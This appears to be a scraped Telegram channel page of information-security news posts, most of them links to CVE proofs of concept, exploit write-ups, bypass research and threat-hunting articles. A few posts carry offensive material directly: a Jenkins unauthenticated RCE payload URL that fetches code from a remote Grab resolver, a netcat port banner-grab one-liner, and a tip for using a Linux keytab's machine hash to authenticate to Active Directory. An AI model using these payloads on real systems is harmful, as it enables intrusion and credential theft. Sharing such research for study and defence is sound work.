Information Security
@sec_nerd_en
415 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
415 subscribers
Information Security
Got a root shell on a domain-joined Linux box? Stumbled on this PS script yesterday. Run this against /etc/krb5.keytab to extract the machine hash and authenticate to AD and run your favorite enum tools :)

https://gist.github.com/0xhexmex/2ac1dee8a13b86668cfa7b849c52b210
Gist
Parses Kerberos Keytab files
Parses Kerberos Keytab files. GitHub Gist: instantly share code, notes, and snippets.
126 views
Information Security
https://twitter.com/SBousseaden/status/1097118436663152640
Twitter
S.B
Detecting remote service creation with 5145 - Logic: [EventID=5145 & ShareName=(\\*\ADMIN$ or \\*\C$)) followedby (EventID=5145 & ShareName='\\*\IPC$' and RelativeTargetName:'svcctl')] within 1min & Same [AccountName, SourceAddres,Port], example REMCOM (PsExec…
135 views
Information Security
PoC: Jenkins RCE

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
GitHub
GitHub - adamyordan/cve-2019-1003000-jenkins-rce-poc: Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security)…
Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) - adamyordan/cve-2019-1003000-jenkins...
113 views
Information Security
CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver


http://www.jackson-t.ca/lg-driver-lpe.html
127 views
Information Security
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
Orange
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
This is 🍊 speaking
118 views
Information Security
Jenkins Unauth RCE

/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='tld', root='http://[]/')%0a
@Grab(group='', module='poc', version='1')%0a
import rn;
131 views
Information Security
https://research.checkpoint.com/north-korea-turns-against-russian-targets/
Check Point Research
North Korea Turns Against New Targets?! - Check Point Research
  Introduction Over the past few weeks, we have been monitoring suspicious activity directed against Russian-based companies that exposed a predator-prey relationship that we had not seen before. For the first time we were observing what seemed to be a c…
143 views
Information Security
https://rot47.net/_s/upload/2013/10/22/3581415488cdbf66756e75dee965be22.png
128 views
Information Security
CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host

https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
blog.dragonsector.pl
CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host
Introduction The inspiration to the following research was a CTF task called namespaces by _tsuro from the 35C3 CTF . While solvin...
128 views
Information Security
ghostbin.com/paste/c4dhv 1day webkit RCE
138 views
Information Security
Bypass Windows Exploit Guard ASR

https://github.com/sevagas/WindowsDefender_ASR_Bypass-OffensiveCon2019
GitHub
GitHub - sevagas/WindowsDefender_ASR_Bypass-OffensiveCon2019: Public documents related to my talk "Bypass Windows Exploit Guard…
Public documents related to my talk "Bypass Windows Exploit Guard ASR" at Offensive Con 2019. - sevagas/WindowsDefender_ASR_Bypass-OffensiveCon2019
132 views
Information Security
No nmap? No problem! Grab banners from local IPv4 listening ports.

netstat -nlt | grep 'tcp ' | grep -Eo "[1-9][0-9]*" | xargs -I {} sh -c "echo "" | nc -v -n -w1 127.0.0.1 {}"
163 views
Information Security
Web Cache Deception Attack leads to user info disclosure

https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29
Medium
Web Cache Deception Attack leads to user info disclosure
Hello Everyone
184 views
Information Security
Extract usernames from Cisco ASA

https://github.com/milo2012/CVE-2018-0296
GitHub
GitHub - milo2012/CVE-2018-0296: Test CVE-2018-0296 and extract usernames
Test CVE-2018-0296 and extract usernames. Contribute to milo2012/CVE-2018-0296 development by creating an account on GitHub.
202 views
Information Security
[Remote Exec | Persistence] - Hunting for remote windows service creation

https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html
200 views
Information Security
https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/
169 views
Information Security
pastebin_scraper

https://github.com/Critical-Start/pastebin_scraper


Automated tool to monitor pastebin for interesting information
130 views
Information Security
https://twitter.com/thezdi/status/1108442659947839488
Twitter
Zero Day Initiative
Confirmed! The @fluoroacetate team used an integer underflow and a race condition to escape the virtual machine and pop calc on the underlying OS. They earned another $35,000 and 3 points towards Master on Pwn.
115 views
Information Security
https://twitter.com/thezdi/status/1108490136046571521
173 views
Information Security
https://www.bbc.co.uk/programmes/p06pnd71
BBC
BBC Radio 5 live - 5 Live News Specials, The Real Lives of Spies
5 Live’s Nihal Arthanayake meets six spies from MI5, MI6 and GCHQ.
144 views